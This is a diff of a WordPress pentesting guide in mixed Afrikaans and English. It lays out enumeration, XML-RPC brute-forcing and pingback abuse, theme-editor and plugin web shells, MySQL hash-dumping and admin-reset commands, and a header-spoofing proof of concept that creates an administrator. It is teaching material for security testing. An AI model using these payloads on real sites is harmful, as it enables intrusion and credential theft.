diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 51852bd22..54469471d 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Basiese Inligting -- **Opgelaaide** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Temalêers kan gevind word in /wp-content/themes/,** dus as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: As jy **tema twentytwelve** gebruik kan jy die **404.php** lêer bereik in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Nog 'n nuttige url kan wees:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- In **wp-config.php** kan jy die root wagwoord van die databasis vind. -- Standaard login-paaie om na te kyk: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- In **wp-config.php** you can find the root password of the database. +- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Hoof WordPress-lêers** +### **Main WordPress Files** - `index.php` -- `license.txt` bevat nuttige inligting soos die geïnstalleerde WordPress-weergawe. -- `wp-activate.php` word gebruik vir die e-pos-aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word. -- Login-vouers (kan hernoem word om dit te verberg): +- `license.txt` contains useful information such as the version WordPress installed. +- `wp-activate.php` is used for the email activation process when setting up a new WordPress site. +- Login folders (may be renamed to hide it): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` is 'n lêer wat 'n funksie van WordPress verteenwoordig wat toelaat dat data oorgedra word met HTTP as die vervoermeganisme en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Die `wp-content` vouer is die hoofgids waar plugins en temas gestoor word. -- `wp-content/uploads/` is die gids waar enige lêers opgelaai na die platform gestoor word. -- `wp-includes/` Hierdie is die gids waar kernlêers gestoor word, soos sertifikate, fonte, JavaScript-lêers, en widgets. -- `wp-sitemap.xml` In WordPress weergawes 5.5 en hoër, genereer WordPress 'n sitemap XML-lêer met alle publieke plasings en publiek navraagbare plasingsoorte en taksonomieë. +- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- The `wp-content` folder is the main directory where plugins and themes are stored. +- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored. +- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets. +- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies. **Post exploitation** -- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om aan die databasis te koppel, soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, verifikasiesleutels en salts, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees tydens foutopsporing. +- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting. -### Gebruikerstoestemmings +### Users Permissions - **Administrator** -- **Editor**: Publiseer en bestuur sy eie en ander se plasings -- **Author**: Publiseer en bestuur sy eie plasings -- **Contributor**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie -- **Subscriber**: Blaai deur plasings en wysig hul profiel +- **Editor**: Publish and manages his and others posts +- **Author**: Publish and manage his own posts +- **Contributor**: Write and manage his posts but cannot publish them +- **Subscriber**: Browser posts and edit their profile -## **Passiewe Enumerasie** +## **Passive Enumeration** -### **Kry WordPress-weergawe** +### **Get WordPress version** -Kyk of jy die lêers `/license.txt` of `/readme.html` kan vind +Check if you can find the files `/license.txt` or `/readme.html` -Binne die **bronkode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### Kry inproppe +### Kry Inproppe ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Trek weergawes in die algemeen uit +### Haal weergawes oor die algemeen uit ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Aktiewe opsporing +## Aktiewe enumerasie ### Plugins and Themes -Jy sal waarskynlik nie alle Plugins en Themes kan vind wat moontlik is nie. Om hulle almal te ontdek, sal jy **aktief Brute Force 'n lys van Plugins en Themes** moet uitvoer (hopelik is daar geoutomatiseerde gereedskap wat hierdie lyste bevat). +Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om almal te ontdek, sal jy moet **actively Brute Force a list of Plugins and Themes** (hopelik is daar vir ons geoutomatiseerde gereedskap wat hierdie lyste bevat). ### Gebruikers -- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-site deur gebruikers-ID's te Brute Force: +- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-site deur gebruikers-ID's te Brute Forcing: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -As die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. As die antwoord **400** is, dan is die id **ongeldig**. +As die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. As die antwoord **400** is, is die id **ongeldig**. -- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur 'n navraag te stuur: +- **wp-json:** Jy kan ook probeer om inligting oor gebruikers te kry deur navrae te stuur: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Nog 'n `/wp-json/` endpoint wat sekere inligting oor gebruikers kan onthul, is: +Nog 'n `/wp-json/` eindpunt wat sekere inligting oor gebruikers kan openbaar, is: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Let wel dat hierdie endpoint slegs gebruikers blootstel wat 'n pos gemaak het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het sal verskaf word**. +Let daarop dat hierdie endpoint slegs gebruikers openbaar wat 'n pos geplaas het. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**. -Hou ook in gedagte dat **/wp-json/wp/v2/pages** IP addresses kan leak. +Neem ook kennis dat **/wp-json/wp/v2/pages** IP addresses kan leak. -- **Login username enumeration**: Wanneer jy by **`/wp-login.php`** aanmeld, is die **boodskap** **anders**, wat aandui of die **gebruikersnaam bestaan of nie**. +- **Login username enumeration**: Wanneer jy aanmeld by **`/wp-login.php`** is die **boodskap** **verskillend**, wat aandui of die **username bestaan of nie**. ### XML-RPC -As `xml-rpc.php` aktief is, kan jy 'n credentials brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). +As `xml-rpc.php` aktief is kan jy credentials brute-force uitvoer of dit gebruik om DoS attacks teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer [using this](https://github.com/relarizky/wpxploit)). -Om te sien of dit aktief is, probeer toegang verkry tot _**/xmlrpc.php**_ en stuur hierdie versoek: +Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur hierdie versoek: **Kontroleer** ```html @@ -122,7 +122,7 @@ Om te sien of dit aktief is, probeer toegang verkry tot _**/xmlrpc.php**_ en stu **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur: +**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle vind, kan jy iets soos stuur: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Om te sien of dit aktief is, probeer toegang verkry tot _**/xmlrpc.php**_ en stu ``` -Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode reaksie moet verskyn as die inlogbesonderhede nie geldig is nie. +Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode response moet verskyn as die credentials nie geldig is nie. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Met die korrekte inlogbesonderhede kan jy 'n lêer oplaai. In die reaksie sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Met die korrekte credentials kan jy 'n lêer upload. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ Met die korrekte inlogbesonderhede kan jy 'n lêer oplaai. In die reaksie sal di ``` -Daar is ook 'n **vinnigere manier** om credentials te brute-force deur **`system.multicall`** te gebruik, aangesien jy verskeie credentials in dieselfde versoek kan probeer: +Daar is ook 'n **vinnig(er) manier** om brute-force credentials te probeer deur **`system.multicall`** te gebruik aangesien jy verskeie credentials in dieselfde versoek kan probeer:
**Bypass 2FA** -Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy xmlrpc.php kan misbruik om met daardie creds aan te meld en 2FA te omseil**. Let wel dat jy nie al die aksies wat jy deur die console kan uitvoer, sal kan doen nie, maar jy kan steeds by RCE uitkom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te teken en 2FA te omseil**. Let daarop dat jy nie al die aksies kan uitvoer wat deur die console moontlik is nie, maar jy mag steeds na RCE kan kom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** -As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy Wordpress 'n ewekansige versoek na enige host/port laat stuur.\ -Dit kan gebruik word om **duisende** Wordpress **sites** te vra om een **lokasie** te **access** (sodat 'n **DDoS** by daardie lokasie veroorsaak word) of jy kan dit gebruik om **Wordpress** 'n interne **network** te **scan** te laat uitvoer (jy kan enige poort aandui). +If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ +This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port). ```html pingback.ping @@ -191,7 +191,7 @@ Dit kan gebruik word om **duisende** Wordpress **sites** te vra om een **lokasie ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit die port is oop. +As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit die poort is oop. Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak. @@ -209,15 +209,15 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer ### wp-cron.php DoS -Hierdie lêer bestaan gewoonlik onder die root van die Wordpress-webwerf: **`/wp-cron.php`**\ -Wanneer hierdie lêer **accessed** word, word 'n "**heavy**" MySQL **query** uitgevoer, so dit kan deur **attackers** gebruik word om 'n **DoS** te **cause**.\ -Standaard word die `wp-cron.php` op elke page load aangeroep (elke keer as 'n kliënt enige Wordpress-blad versoek), wat op hoë-traffic webwerwe probleme (DoS) kan veroorsaak. +Hierdie lêer bestaan gewoonlik in die root van die Wordpress-site: **`/wp-cron.php`**\ +Wanneer hierdie lêer **toeganklik** is, word 'n "**sware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\ +Ook, standaard word `wp-cron.php` op elke bladlaai aangeroep (elke keer wanneer 'n kliënt 'n Wordpress-blad versoek), wat op hoë-verkeer werwe probleme (DoS) kan veroorsaak. -Dit word aanbeveel om Wp-Cron te disable en 'n werklike cronjob op die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak). +Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak). ### /wp-json/oembed/1.0/proxy - SSRF -Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-site mag 'n versoek na jou maak. +Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. This is the response when it doesn't work: @@ -230,24 +230,24 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Hierdie tool kontroleer of die **methodName: pingback.ping** bestaan en of die pad **/wp-json/oembed/1.0/proxy** beskikbaar is; as dit bestaan, probeer dit om dit uit te exploit. +Hierdie tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them. -## Automatic Tools +## Outomatiese Gereedskap ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Verkry toegang deur 'n bit oor te skryf +## Kry toegang deur 'n bit oor te skryf -Dit is meer 'n nuuskierigheid as 'n werklike aanval. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omdraai. Sodoende kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP. +Meer as 'n echte attack is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer flip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Paneel RCE** -**Wysig 'n php uit die gebruikte theme (admin credentials benodig)** +**Wysig 'n php van die tema wat gebruik word (admin credentials benodig)** Appearance → Theme Editor → 404 Template (aan die regterkant) @@ -255,7 +255,7 @@ Verander die inhoud na 'n php shell: ![](<../../images/image (384).png>) -Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Soek op die internet hoe jy daardie bygewerkte blad kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -269,8 +269,8 @@ om 'n sessie te kry. ### PHP plugin -Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\ -Skep jou php-backdoor byvoorbeeld met: +Dit kan moontlik wees om .php-lêers as 'n plugin op te laai.\ +Skep jou php backdoor, byvoorbeeld: ![](<../../images/image (183).png>) @@ -286,48 +286,48 @@ Klik op Procced: ![](<../../images/image (70).png>) -Waarskynlik sal dit blykbaar niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien: +Dit sal waarskynlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is: ![](<../../images/image (462).png>) -Gaan na dit en jy sal die URL sien om die reverse shell uit te voer: +Gaan daarheen en jy sal die URL sien om die reverse shell uit te voer: ![](<../../images/image (1006).png>) ### Oplaai en aktiveer kwaadwillige plugin -Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress dashboard soos volg uitgevoer: +Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg: -1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374). -2. **Plugin Installasie**: -- Gaan na die WordPress dashboard, en navigeer dan na `Dashboard > Plugins > Upload Plugin`. +1. **Plugin Acquisition**: Die plugin word verkry vanaf 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374). +2. **Plugin Installation**: +- Gaan na die WordPress dashboard, dan na `Dashboard > Plugins > Upload Plugin`. - Laai die zip-lêer van die afgelaaide plugin op. -3. **Plugin Aktivering**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word. -4. **Eksploitasie**: +3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word. +4. **Exploitation**: - Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar. -- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word wat onbevoegde toegang tot die site gee. -- Daar word opgemerk dat dit net een van die baie metodes is om 'n WordPress-site uit te buit. +- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laad en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word wat ongemagtigde toegang tot die site gee. +- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buit. -Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om daarop te let dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik en slegs in 'n wettige konteks gebruik word, soos penetration testing met uitdruklike toestemming. +Die inhoud sluit visuele hulpmiddels in wat die stappe op die WordPress dashboard uitbeeld om die plugin te installeer en te aktiveer. Dit is egter belangrik om op te let dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming. -**Vir meer gedetailleerde stappe sien:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## Van XSS na RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)** kwesbaarheid te eskaleer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Wordpress-weergawe 6.X.X, 5.X.X en 4.X.X en laat toe om:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)** kwesbaarheid op te skaal na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer info sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** - _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou eie custom plugin (backdoor) na WordPress op. -- _**(RCE) Built-In Plugin Edit:**_ Wysig 'n ingeboude plugin in WordPress. -- _**(RCE) Built-In Theme Edit:**_ Wysig 'n ingeboude tema in WordPress. -- _**(Custom) Custom Exploits:**_ Custom Exploits vir derdeparty WordPress-plugins/-temas. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload jou custom plugin (backdoor) na WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Edit Built-In Plugins in WordPress. +- _**(RCE) Built-In Theme Edit:**_ Edit Built-In Themes in WordPress. +- _**(Custom) Custom Exploits:**_ Custom Exploits vir Third-Party WordPress Plugins/Themes. ## Post Exploitation -Onttrek gebruikersname en wagwoorde: +Haal gebruikersname en wagwoorde uit: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -Verander admin password: +Verander admin-wagwoord: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` @@ -335,25 +335,25 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Aanvalsoppervlak -Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede daarin te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel, is noodsaaklik om kwesbaarhede daarin te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logika-, authorization- of authentication-bugs bevat. Verder is dit dikwels dat hierdie funksies beide die authentication en authorization gaan baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress-instansie geauthentiseer is mag hê** (onafhanklik van sy rol). +Een van die maniere waarop 'n plugin funksies aan gebruikers blootstel is deur middel van AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat authenticated is in die Wordpress instance moontlik het** (onafhanklik van hul rol). Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs ongeauthentiseerde gebruikers).** +**Die gebruik van `nopriv` maak die endpoint toeganklik vir enige gebruikers (selfs ongeauthentiseerde gebruikers).** > [!CAUTION] -> Verder, as die funksie net die outorisering van die gebruiker kontroleer met die funksie `wp_verify_nonce`, hierdie funksie kontroleer net dat die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met lae voorregte toegang hê tot aksies met hoë voorregte. +> Boonop, as die funksie net die toestemming van die gebruiker nagaan met die funksie `wp_verify_nonce`, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus mag gebruikers met lae voorregte toegang hê tot hoë-voorregte aksies. - **REST API** -Dit is ook moontlik om funksies van WordPress bloot te stel deur 'n REST API te registreer met die funksie `register_rest_route`: +Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -Die `permission_callback` is 'n callback-funksie wat kontroleer of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep. +Die `permission_callback` is 'n callback-funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep. -**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.** +**If the built-in `__return_true` function is used, it'll simply skip user permissions check.** - **Direkte toegang tot die php-lêer** -Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. Dus, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word. +Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Sommige plugins implementeer "trusted header" kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header om die huidige gebruikerskonteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en geprivilegieerde REST-roetes as administrator tref. +Sommige plugins implementeer “trusted header” kortpaaie vir interne integrasies of reverse proxies en gebruik dan daardie header om die huidige gebruiker-konteks vir REST-versoeke te stel. As die header nie deur 'n upstream-komponent kriptografies aan die versoek gebind is nie, kan 'n aanvaller dit naboots en gemagtigde REST-roetes as 'n administrateur bereik. -- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (dwing user ID 1 af, tipies die eerste administrator-rekening). -- Geëksploiteerde roete: `POST /wp-json/wp/v2/users` with an elevated role array. +- Impact: ongeauthentiseerde privilege escalation to admin by creating a new administrator via the core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account). +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -391,40 +391,40 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -Hoekom dit werk +Waarom dit werk -- Die plugin koppel 'n kliënt-beheerde header aan die outentikasie‑status en slaan capability checks oor. -- WordPress‑kern verwag die `create_users` capability vir hierdie route; die plugin‑hack omseil dit deur die huidige gebruiker‑konteks direk vanaf die header te stel. +- Die plugin koppel 'n kliënt-beheerde header aan die outentiseringsstatus en slaan capability-kontroles oor. +- WordPress core verwag die `create_users` capability vir hierdie roete; die plugin hack omseil dit deur die huidige gebruiker-konteks direk vanaf die header te stel. -Verwagte sukses-aanwysers +Verwagte suksesaanwysers -- HTTP 201 met 'n JSON-lichaam wat die geskepte gebruiker beskryf. -- 'n Nuwe admin‑gebruiker sigbaar in `wp-admin/users.php`. +- HTTP 201 met 'n JSON-body wat die geskepte gebruiker beskryf. +- 'n nuwe admin gebruiker sigbaar in `wp-admin/users.php`. Opsporingskontrolelys -- Grep na `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat custom headers lees om gebruiker‑konteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Hersien REST‑registrasies vir bevoorregte callbacks wat nie sterk `permission_callback` kontroles het nie en in plaas daarvan op versoek‑headers staatmaak. -- Kyk vir gebruike van kern gebruikers‑bestuursfunksies (`wp_insert_user`, `wp_create_user`) binne REST‑handlers wat slegs deur header‑waardes gegrens is. +- Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat pasgemaakte headers lees om die gebruiker-konteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback`-kontroles het nie 